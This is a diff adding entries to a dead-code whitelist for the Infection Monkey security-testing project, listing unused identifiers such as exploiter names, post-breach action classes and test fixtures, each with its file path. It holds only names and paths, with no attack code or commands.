+fake_monkey_dir_path # unused variable (monkey/tests/infection_monkey/post_breach/actions/test_users_custom_pba.py:77)
+set_os_linux # unused variable (monkey/tests/infection_monkey/post_breach/actions/test_users_custom_pba.py:77)
+fake_monkey_dir_path # unused variable (monkey/tests/infection_monkey/post_breach/actions/test_users_custom_pba.py:92)
+set_os_windows # unused variable (monkey/tests/infection_monkey/post_breach/actions/test_users_custom_pba.py:92)
+fake_monkey_dir_path # unused variable (monkey/tests/infection_monkey/post_breach/actions/test_users_custom_pba.py:107)
+set_os_linux # unused variable (monkey/tests/infection_monkey/post_breach/actions/test_users_custom_pba.py:107)
+fake_monkey_dir_path # unused variable (monkey/tests/infection_monkey/post_breach/actions/test_users_custom_pba.py:122)
+set_os_windows # unused variable (monkey/tests/infection_monkey/post_breach/actions/test_users_custom_pba.py:122)
+patch_new_user_classes # unused variable (monkey/tests/infection_monkey/utils/test_auto_new_user_factory.py:25)
+patch_new_user_classes # unused variable (monkey/tests/infection_monkey/utils/test_auto_new_user_factory.py:31)
+custom_pba_directory # unused variable (monkey/tests/monkey_island/cc/services/test_post_breach_files.py:20)
+configure_resources # unused function (monkey/tests/monkey_island/cc/environment/test_environment.py:26)
+change_to_mongo_mock # unused function (monkey/monkey_island/cc/test_common/fixtures/mongomock_fixtures.py:9)
+uses_database # unused function (monkey/monkey_island/cc/test_common/fixtures/mongomock_fixtures.py:16)
+datas # unused variable (monkey/monkey_island/pyinstaller_hooks/hook-stix2.py:9)
+test_key # unused variable (monkey/monkey_island/cc/services/zero_trust/zero_trust_report/finding_service.py:20)
+pillars # unused variable (monkey/monkey_island/cc/services/zero_trust/zero_trust_report/finding_service.py:21)
+CLEAN_UNKNOWN # unused variable (monkey/monkey_island/cc/services/utils/node_states.py:9)
+CLEAN_LINUX # unused variable (monkey/monkey_island/cc/services/utils/node_states.py:10)
+CLEAN_WINDOWS # unused variable (monkey/monkey_island/cc/services/utils/node_states.py:11)
+EXPLOITED_LINUX # unused variable (monkey/monkey_island/cc/services/utils/node_states.py:12)
+EXPLOITED_WINDOWS # unused variable (monkey/monkey_island/cc/services/utils/node_states.py:13)
+ISLAND_MONKEY_LINUX # unused variable (monkey/monkey_island/cc/services/utils/node_states.py:15)
+ISLAND_MONKEY_LINUX_RUNNING # unused variable (monkey/monkey_island/cc/services/utils/node_states.py:16)
+ISLAND_MONKEY_LINUX_STARTING # unused variable (monkey/monkey_island/cc/services/utils/node_states.py:17)
+ISLAND_MONKEY_WINDOWS # unused variable (monkey/monkey_island/cc/services/utils/node_states.py:18)
+ISLAND_MONKEY_WINDOWS_RUNNING # unused variable (monkey/monkey_island/cc/services/utils/node_states.py:19)
+ISLAND_MONKEY_WINDOWS_STARTING # unused variable (monkey/monkey_island/cc/services/utils/node_states.py:20)
+MANUAL_LINUX # unused variable (monkey/monkey_island/cc/services/utils/node_states.py:21)
+MANUAL_LINUX_RUNNING # unused variable (monkey/monkey_island/cc/services/utils/node_states.py:22)
+MANUAL_WINDOWS # unused variable (monkey/monkey_island/cc/services/utils/node_states.py:23)
+MANUAL_WINDOWS_RUNNING # unused variable (monkey/monkey_island/cc/services/utils/node_states.py:24)
+MONKEY_LINUX # unused variable (monkey/monkey_island/cc/services/utils/node_states.py:25)
+MONKEY_WINDOWS # unused variable (monkey/monkey_island/cc/services/utils/node_states.py:27)
+MONKEY_WINDOWS_RUNNING # unused variable (monkey/monkey_island/cc/services/utils/node_states.py:28)
+MONKEY_WINDOWS_STARTING # unused variable (monkey/monkey_island/cc/services/utils/node_states.py:29)
+MONKEY_LINUX_STARTING # unused variable (monkey/monkey_island/cc/services/utils/node_states.py:30)
+MONKEY_WINDOWS_OLD # unused variable (monkey/monkey_island/cc/services/utils/node_states.py:31)
+MONKEY_LINUX_OLD # unused variable (monkey/monkey_island/cc/services/utils/node_states.py:32)
+_.credential_type # unused attribute (monkey/monkey_island/cc/services/reporting/issue_processing/exploit_processing/processors/cred_exploit.py:19)
+_.credential_type # unused attribute (monkey/monkey_island/cc/services/reporting/issue_processing/exploit_processing/processors/cred_exploit.py:22)
+_.credential_type # unused attribute (monkey/monkey_island/cc/services/reporting/issue_processing/exploit_processing/processors/cred_exploit.py:25)
+_.password_restored # unused attribute (monkey/monkey_island/cc/services/reporting/issue_processing/exploit_processing/processors/zerologon.py:11)
+credential_type # unused variable (monkey/monkey_island/cc/services/reporting/issue_processing/exploit_processing/exploiter_report_info.py:18)
+password_restored # unused variable (monkey/monkey_island/cc/services/reporting/issue_processing/exploit_processing/exploiter_report_info.py:23)
+SSH # unused variable (monkey/monkey_island/cc/services/reporting/issue_processing/exploit_processing/exploiter_descriptor_enum.py:30)
+SAMBACRY # unused variable (monkey/monkey_island/cc/services/reporting/issue_processing/exploit_processing/exploiter_descriptor_enum.py:31)
+ELASTIC # unused variable (monkey/monkey_island/cc/services/reporting/issue_processing/exploit_processing/exploiter_descriptor_enum.py:32)
+MS08_067 # unused variable (monkey/monkey_island/cc/services/reporting/issue_processing/exploit_processing/exploiter_descriptor_enum.py:35)
+SHELLSHOCK # unused variable (monkey/monkey_island/cc/services/reporting/issue_processing/exploit_processing/exploiter_descriptor_enum.py:36)
+STRUTS2 # unused variable (monkey/monkey_island/cc/services/reporting/issue_processing/exploit_processing/exploiter_descriptor_enum.py:39)
+WEBLOGIC # unused variable (monkey/monkey_island/cc/services/reporting/issue_processing/exploit_processing/exploiter_descriptor_enum.py:40)
+HADOOP # unused variable (monkey/monkey_island/cc/services/reporting/issue_processing/exploit_processing/exploiter_descriptor_enum.py:43)
+MSSQL # unused variable (monkey/monkey_island/cc/services/reporting/issue_processing/exploit_processing/exploiter_descriptor_enum.py:44)
+VSFTPD # unused variable (monkey/monkey_island/cc/services/reporting/issue_processing/exploit_processing/exploiter_descriptor_enum.py:45)
+DRUPAL # unused variable (monkey/monkey_island/cc/services/reporting/issue_processing/exploit_processing/exploiter_descriptor_enum.py:48)
+_.do_POST # unused method (monkey/monkey_island/cc/server_utils/bootloader_server.py:26)
+PbaResults # unused class (monkey/monkey_island/cc/models/pba_results.py:4)
+internet_access # unused variable (monkey/monkey_island/cc/models/monkey.py:43)
+config_error # unused variable (monkey/monkey_island/cc/models/monkey.py:53)
+pba_results # unused variable (monkey/monkey_island/cc/models/monkey.py:55)
+launch_time # unused variable (monkey/monkey_island/cc/models/monkey.py)
+command_control_channel # unused variable (monkey/monkey_island/cc/models/monkey.py:58)
+meta # unused variable (monkey/monkey_island/cc/models/zero_trust/finding.py:37)
+meta # unused variable (monkey/monkey_island/cc/models/monkey_ttl.py:34)
+expire_at # unused variable (monkey/monkey_island/cc/models/monkey_ttl.py:36)
+meta # unused variable (monkey/monkey_island/cc/models/config.py:11)
+meta # unused variable (monkey/monkey_island/cc/models/creds.py:9)
+meta # unused variable (monkey/monkey_island/cc/models/edge.py:5)
+Config # unused class (monkey/monkey_island/cc/models/config.py:4)
+Creds # unused class (monkey/monkey_island/cc/models/creds.py:4)
+_.do_CONNECT # unused method (monkey/infection_monkey/transport/http.py:151)
+_.do_POST # unused method (monkey/infection_monkey/transport/http.py:122)
+_.do_HEAD # unused method (monkey/infection_monkey/transport/http.py:61)
+_.do_GET # unused method (monkey/infection_monkey/transport/http.py:38)
+_.do_POST # unused method (monkey/infection_monkey/transport/http.py:34)
+_.do_GET # unused method (monkey/infection_monkey/exploit/weblogic.py:237)
+ElasticFinger # unused class (monkey/infection_monkey/network/elasticfinger.py:18)
+HTTPFinger # unused class (monkey/infection_monkey/network/httpfinger.py:9)
+MySQLFinger # unused class (monkey/infection_monkey/network/mysqlfinger.py:13)
+SSHFinger # unused class (monkey/infection_monkey/network/sshfinger.py:15)
+ClearCommandHistory # unused class (monkey/infection_monkey/post_breach/actions/clear_command_history.py:11)
+AccountDiscovery # unused class (monkey/infection_monkey/post_breach/actions/discover_accounts.py:8)
+ModifyShellStartupFiles # unused class (monkey/infection_monkey/post_breach/actions/modify_shell_startup_files.py:11)
+Timestomping # unused class (monkey/infection_monkey/post_breach/actions/timestomping.py:6)
+SignedScriptProxyExecution # unused class (monkey/infection_monkey/post_breach/actions/use_signed_scripts.py:15)
+AwsCollector # unused class (monkey/infection_monkey/system_info/collectors/aws_collector.py:15)
+EnvironmentCollector # unused class (monkey/infection_monkey/system_info/collectors/environment_collector.py:19)
+HostnameCollector # unused class (monkey/infection_monkey/system_info/collectors/hostname_collector.py:10)
+ProcessListCollector # unused class (monkey/infection_monkey/system_info/collectors/process_list_collector.py:18)
+_.coinit_flags # unused attribute (monkey/infection_monkey/system_info/windows_info_collector.py:11)
+_.representations # unused attribute (monkey/monkey_island/cc/app.py:180)
+_.log_message # unused method (monkey/infection_monkey/transport/http.py:188)
+_.log_message # unused method (monkey/infection_monkey/transport/http.py:109)
+_.version_string # unused method (monkey/infection_monkey/transport/http.py:148)
+_.version_string # unused method (monkey/infection_monkey/transport/http.py:27)
+_.close_connection # unused attribute (monkey/infection_monkey/transport/http.py:57)
+protocol_version # unused variable (monkey/infection_monkey/transport/http.py:24)
+hiddenimports # unused variable (monkey/infection_monkey/pyinstaller_hooks/hook-infection_monkey.exploit.py:3)
+hiddenimports # unused variable (monkey/infection_monkey/pyinstaller_hooks/hook-infection_monkey.network.py:3)
+hiddenimports # unused variable (monkey/infection_monkey/pyinstaller_hooks/hook-infection_monkey.post_breach.actions.py:4)
+hiddenimports # unused variable (monkey/infection_monkey/pyinstaller_hooks/hook-infection_monkey.system_info.collectors.py:4)
+_.wShowWindow # unused attribute (monkey/infection_monkey/monkey.py:345)
+_.dwFlags # unused attribute (monkey/infection_monkey/monkey.py:344)
+_.do_get # unused method (monkey/infection_monkey/exploit/zerologon_utils/remote_shell.py:79)
+_.do_exit # unused method (monkey/infection_monkey/exploit/zerologon_utils/remote_shell.py:96)
+_.prompt # unused attribute (monkey/infection_monkey/exploit/zerologon_utils/remote_shell.py:108)
+_.prompt # unused attribute (monkey/infection_monkey/exploit/zerologon_utils/remote_shell.py:125)
+keytab # unused variable (monkey/infection_monkey/exploit/zerologon_utils/options.py:16)
+no_pass # unused variable (monkey/infection_monkey/exploit/zerologon_utils/options.py:18)
+ts # unused variable (monkey/infection_monkey/exploit/zerologon_utils/options.py:25)
+opnum # unused variable (monkey/infection_monkey/exploit/zerologon.py:466)
+structure # unused variable (monkey/infection_monkey/exploit/zerologon.py:467)
+structure # unused variable (monkey/infection_monkey/exploit/zerologon.py:478)
+_._port # unused attribute (monkey/infection_monkey/exploit/win_ms08_067.py:123)
+oid_set # unused variable (monkey/infection_monkey/exploit/tools/wmi_tools.py:96)
+export_monkey_telems # unused variable (monkey/infection_monkey/config.py:282)
+NoInternetError # unused class (monkey/common/utils/exceptions.py:33)
+_.__isabstractmethod__ # unused attribute (monkey/common/utils/code_utils.py:11)
+MIMIKATZ # unused variable (monkey/common/utils/attack_utils.py:21)
+MIMIKATZ_WINAPI # unused variable (monkey/common/utils/attack_utils.py:25)
+DROPPER # unused variable (monkey/common/utils/attack_utils.py:29)
+pytest_addoption # unused function (envs/os_compatibility/conftest.py:4)
+pytest_addoption # unused function (envs/monkey_zoo/blackbox/conftest.py:4)
+pytest_runtest_setup # unused function (envs/monkey_zoo/blackbox/conftest.py:47)
+config_value_list # unused variable (envs/monkey_zoo/blackbox/config_templates/smb_pth.py:10)
+_.dashboard_name # unused attribute (monkey/monkey_island/cc/services/zero_trust/scoutsuite/scoutsuite_rule_service.py:13)
+_.checked_items # unused attribute (monkey/monkey_island/cc/services/zero_trust/scoutsuite/scoutsuite_rule_service.py:14)
+_.flagged_items # unused attribute (monkey/monkey_island/cc/services/zero_trust/scoutsuite/scoutsuite_rule_service.py:15)
+_.rationale # unused attribute (monkey/monkey_island/cc/services/zero_trust/scoutsuite/scoutsuite_rule_service.py:17)
+_.remediation # unused attribute (monkey/monkey_island/cc/services/zero_trust/scoutsuite/scoutsuite_rule_service.py:18)
+_.compliance # unused attribute (monkey/monkey_island/cc/services/zero_trust/scoutsuite/scoutsuite_rule_service.py:19)
+_.references # unused attribute (monkey/monkey_island/cc/services/zero_trust/scoutsuite/scoutsuite_rule_service.py:20)
+ACM # unused variable (monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/service_consts.py:8)
+AWSLAMBDA # unused variable (monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/service_consts.py:9)
+DIRECTCONNECT # unused variable (monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/service_consts.py:14)
+EFS # unused variable (monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/service_consts.py:16)
+ELASTICACHE # unused variable (monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/service_consts.py:17)
+EMR # unused variable (monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/service_consts.py:20)
+KMS # unused variable (monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/service_consts.py:22)
+ROUTE53 # unused variable (monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/service_consts.py:25)
+SECRETSMANAGER # unused variable (monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/service_consts.py:31)
+RDS_SNAPSHOT_PUBLIC # unused variable (monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/rule_names/rds_rules.py:17)
+dashboard_name # unused variable (monkey/monkey_island/cc/models/zero_trust/scoutsuite_rule.py:18)
+checked_items # unused variable (monkey/monkey_island/cc/models/zero_trust/scoutsuite_rule.py:19)
+flagged_items # unused variable (monkey/monkey_island/cc/models/zero_trust/scoutsuite_rule.py:20)
+rationale # unused variable (monkey/monkey_island/cc/models/zero_trust/scoutsuite_rule.py:22)
+remediation # unused variable (monkey/monkey_island/cc/models/zero_trust/scoutsuite_rule.py:23)
+compliance # unused variable (monkey/monkey_island/cc/models/zero_trust/scoutsuite_rule.py:24)
+references # unused variable (monkey/monkey_island/cc/models/zero_trust/scoutsuite_rule.py:25)
+ALIBABA # unused variable (monkey/common/cloud/scoutsuite_consts.py:8)
+ORACLE # unused variable (monkey/common/cloud/scoutsuite_consts.py:9)
+ALIBABA # unused variable (monkey/common/cloud/environment_names.py:10)
+IBM # unused variable (monkey/common/cloud/environment_names.py:11)
+DigitalOcean # unused variable (monkey/common/cloud/environment_names.py:12)
+_.aws_info # unused attribute (monkey/monkey_island/cc/environment/aws.py:13)
+build_from_config_file_contents # unused method 'build_from_config_file_contents' (\monkey_island\setup\island_config_options.py:18)
+mock_port_in_env_singleton # monkey\tests\unit_tests\monkey_island\cc\services\test_config.py:26:
+ISLAND # unused variable (monkey/monkey_island/cc/services/utils/node_states.py:14)
+MONKEY_LINUX_RUNNING # unused variable (monkey/monkey_island/cc/services/utils/node_states.py:26)
+import_status # monkey_island\cc\resources\configuration_import.py:19
+config_schema # monkey_island\cc\resources\configuration_import.py:25
+exception_stream # unused attribute (monkey_island/cc/server_setup.py:104)
+ADVANCED # unused attribute (monkey/monkey_island/cc/services/mode/mode_enum.py:6:)
+
+# these are not needed for it to work, but may be useful extra information to understand what's going on
+WINDOWS_PBA_TYPE # unused variable (monkey/monkey_island/cc/resources/pba_file_upload.py:23)
+WINDOWS_TTL # unused variable (monkey/infection_monkey/network/ping_scanner.py:17)
+wlist # unused variable (monkey/infection_monkey/transport/tcp.py:28)
+wlist # unused variable (monkey/infection_monkey/transport/http.py:176)
+charset # unused variable (monkey/infection_monkey/network/mysqlfinger.py:81)
+salt # unused variable (monkey/infection_monkey/network/mysqlfinger.py:78)
+thread_id # unused variable (monkey/infection_monkey/network/mysqlfinger.py:61)
+
+
+# leaving this since there's a TODO related to it
+_.get_wmi_info # unused method (monkey/infection_monkey/system_info/windows_info_collector.py:63)
+
+
+# potentially unused (there may also be unit tests referencing these)
+LOG_DIR_NAME # unused variable (envs/monkey_zoo/blackbox/log_handlers/test_logs_handler.py:8)
+delete_logs # unused function (envs/monkey_zoo/blackbox/test_blackbox.py:85)
+MongoQueryJSONEncoder # unused class (envs/monkey_zoo/blackbox/utils/json_encoder.py:6)
+environment # unused variable (monkey/monkey_island/cc/models/monkey.py:59)
+_.environment # unused attribute (monkey/monkey_island/cc/services/telemetry/processing/system_info_collectors/environment.py:10)
+_.instance_name # unused attribute (monkey/common/cloud/azure/azure_instance.py:35)
+_.instance_name # unused attribute (monkey/common/cloud/azure/azure_instance.py:64)